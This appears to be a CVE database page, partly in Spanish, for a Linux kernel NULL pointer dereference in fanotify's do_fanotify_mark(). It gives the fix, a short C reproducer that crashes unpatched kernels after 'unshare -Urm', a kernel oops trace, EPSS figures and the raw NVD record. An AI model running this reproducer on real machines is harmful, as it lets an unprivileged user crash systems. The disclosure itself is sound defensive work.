CVE-2025-40072
In the Linux kernel, the following vulnerability has been resolved:
fanotify: Validate the return value of mnt_ns_from_dentry() before dereferencing
The function do_fanotify_mark() does not validate if mnt_ns_from_dentry() returns NULL before dereferencing mntns->user_ns. This causes a NULL pointer dereference in do_fanotify_mark() if the path is not a mount namespace object.
Fix this by checking mnt_ns_from_dentry()'s return value before dereferencing it.
Before the patch
$ gcc fanotify_nullptr.c -o fanotify_nullptr $ mkdir A $ ./fanotify_nullptr Fanotify fd: 3 fanotify_mark: Operation not permitted $ unshare -Urm Fanotify fd: 3 Killed
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After the patch
$ gcc fanotify_nullptr.c -o fanotify_nullptr $ mkdir A $ ./fanotify_nullptr Fanotify fd: 3 fanotify_mark: Operation not permitted $ unshare -Urm Fanotify fd: 3 fanotify_mark: Invalid argument
Detalles técnicos trazas, registros y código del informe original
int main(void){
int ffd;
ffd = fanotify_init(FAN_CLASS_NOTIF | FAN_REPORT_MNT, 0);
if(ffd < 0){
perror("fanotify_init");
exit(EXIT_FAILURE);
}
printf("Fanotify fd: %d\n",ffd);
if(fanotify_mark(ffd, FAN_MARK_ADD | FAN_MARK_MNTNS,
FAN_MNT_ATTACH, AT_FDCWD, "A") < 0){
perror("fanotify_mark");
exit(EXIT_FAILURE);
}
return 0;
}
[ 25.694973] BUG: kernel NULL pointer dereference, address: 0000000000000038
[ 25.695006] #PF: supervisor read access in kernel mode
[ 25.695012] #PF: error_code(0x0000) - not-present page
[ 25.695017] PGD 109a30067 P4D 109a30067 PUD 142b46067 PMD 0
[ 25.695025] Oops: Oops: 0000 [#1] SMP NOPTI
[ 25.695032] CPU: 4 UID: 1000 PID: 1478 Comm: fanotify_nullpt Not
tainted 6.17.0-rc4 #1 PREEMPT(lazy)
[ 25.695040] Hardware name: VMware, Inc. VMware Virtual
Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
[ 25.695049] RIP: 0010:do_fanotify_mark+0x817/0x950
[ 25.695066] Code: 04 00 00 e9 45 fd ff ff 48 8b 7c 24 48 4c 89 54
24 18 4c 89 5c 24 10 4c 89 0c 24 e8 b3 11 fc ff 4c 8b 54 24 18 4c 8b
5c 24 10 <48> 8b 78 38 4c 8b 0c 24 49 89 c4 e9 13 fd ff ff 8b 4c 24 28
85 c9
[ 25.695081] RSP: 0018:ffffd31c469e3c08 EFLAGS: 00010203
[ 25.695104] RAX: 0000000000000000 RBX: 0000000001000000 RCX: ffff8eb48aebd220
[ 25.695110] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff8eb4835e8180
[ 25.695115] RBP: 0000000000000111 R08: 0000000000000000 R09: 0000000000000000
[ 25.695142] R10: ffff8eb48a7d56c0 R11: ffff8eb482bede00 R12: 00000000004012a7
[ 25.695148] R13: 0000000000000110 R14: 0000000000000001 R15: ffff8eb48a7d56c0
[ 25.695154] FS: 00007f8733bda740(0000) GS:ffff8eb61ce5f000(0000)
knlGS:0000000000000000
[ 25.695162] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 25.695170] CR2: 0000000000000038 CR3: 0000000136994006 CR4: 00000000003706f0
[ 25.695201] Call Trace:
[ 25.695209] <TASK>
[ 25.695215] __x64_sys_fanotify_mark+0x1f/0x30
[ 25.695222] do_syscall_64+0x82/0x2c0
...CVSS
NVD no ha asignado puntuación CVSS a esta CVE (habitual desde el cambio de política de abril de 2026).
Probabilidad de explotación (EPSS)
- Probabilidad de explotación en los próximos 30 días: 0.18%
- Percentil entre todas las CVEs puntuadas: 7
- Fecha de la puntuación: 5/10/2026
EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).
Tecnologías afectadas (1)
⚠ Inferidas por IA a partir de la descripción — NVD aún no ha analizado esta CVE; no son CPE verificados.
Referencias
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfanotify: Validate the return value of mnt_ns_from_dentry() before dereferencing\n\nThe function do_fanotify_mark() does not validate if\nmnt_ns_from_dentry() returns NULL before dereferencing mntns->user_ns.\nThis causes a NULL pointer dereference in do_fanotify_mark() if the\npath is not a mount namespace object.\n\nFix this by checking mnt_ns_from_dentry()'s return value before\ndereferencing it.\n\nBefore the patch\n\n$ gcc fanotify_nullptr.c -o fanotify_nullptr\n$ mkdir A\n$ ./fanotify_nullptr\nFanotify fd: 3\nfanotify_mark: Operation not permitted\n$ unshare -Urm\nFanotify fd: 3\nKilled\n\nint main(void){\n int ffd;\n ffd = fanotify_init(FAN_CLASS_NOTIF | FAN_REPORT_MNT, 0);\n if(ffd < 0){\n perror(\"fanotify_init\");\n exit(EXIT_FAILURE);\n }\n\n printf(\"Fanotify fd: %d\\n\",ffd);\n\n if(fanotify_mark(ffd, FAN_MARK_ADD | FAN_MARK_MNTNS,\nFAN_MNT_ATTACH, AT_FDCWD, \"A\") < 0){\n perror(\"fanotify_mark\");\n exit(EXIT_FAILURE);\n }\n\nreturn 0;\n}\n\nAfter the patch\n\n$ gcc fanotify_nullptr.c -o fanotify_nullptr\n$ mkdir A\n$ ./fanotify_nullptr\nFanotify fd: 3\nfanotify_mark: Operation not permitted\n$ unshare -Urm\nFanotify fd: 3\nfanotify_mark: Invalid argument\n\n[ 25.694973] BUG: kernel NULL pointer dereference, address: 0000000000000038\n[ 25.695006] #PF: supervisor read access in kernel mode\n[ 25.695012] #PF: error_code(0x0000) - not-present page\n[ 25.695017] PGD 109a30067 P4D 109a30067 PUD 142b46067 PMD 0\n[ 25.695025] Oops: Oops: 0000 [#1] SMP NOPTI\n[ 25.695032] CPU: 4 UID: 1000 PID: 1478 Comm: fanotify_nullpt Not\ntainted 6.17.0-rc4 #1 PREEMPT(lazy)\n[ 25.695040] Hardware name: VMware, Inc. VMware Virtual\nPlatform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020\n[ 25.695049] RIP: 0010:do_fanotify_mark+0x817/0x950\n[ 25.695066] Code: 04 00 00 e9 45 fd ff ff 48 8b 7c 24 48 4c 89 54\n24 18 4c 89 5c 24 10 4c 89 0c 24 e8 b3 11 fc ff 4c 8b 54 24 18 4c 8b\n5c 24 10 <48> 8b 78 38 4c 8b 0c 24 49 89 c4 e9 13 fd ff ff 8b 4c 24 28\n85 c9\n[ 25.695081] RSP: 0018:ffffd31c469e3c08 EFLAGS: 00010203\n[ 25.695104] RAX: 0000000000000000 RBX: 0000000001000000 RCX: ffff8eb48aebd220\n[ 25.695110] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff8eb4835e8180\n[ 25.695115] RBP: 0000000000000111 R08: 0000000000000000 R09: 0000000000000000\n[ 25.695142] R10: ffff8eb48a7d56c0 R11: ffff8eb482bede00 R12: 00000000004012a7\n[ 25.695148] R13: 0000000000000110 R14: 0000000000000001 R15: ffff8eb48a7d56c0\n[ 25.695154] FS: 00007f8733bda740(0000) GS:ffff8eb61ce5f000(0000)\nknlGS:0000000000000000\n[ 25.695162] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 25.695170] CR2: 0000000000000038 CR3: 0000000136994006 CR4: 00000000003706f0\n[ 25.695201] Call Trace:\n[ 25.695209] <TASK>\n[ 25.695215] __x64_sys_fanotify_mark+0x1f/0x30\n[ 25.695222] do_syscall_64+0x82/0x2c0\n..."
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"lastModified": "2026-06-17T09:21:13.053",
"sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
}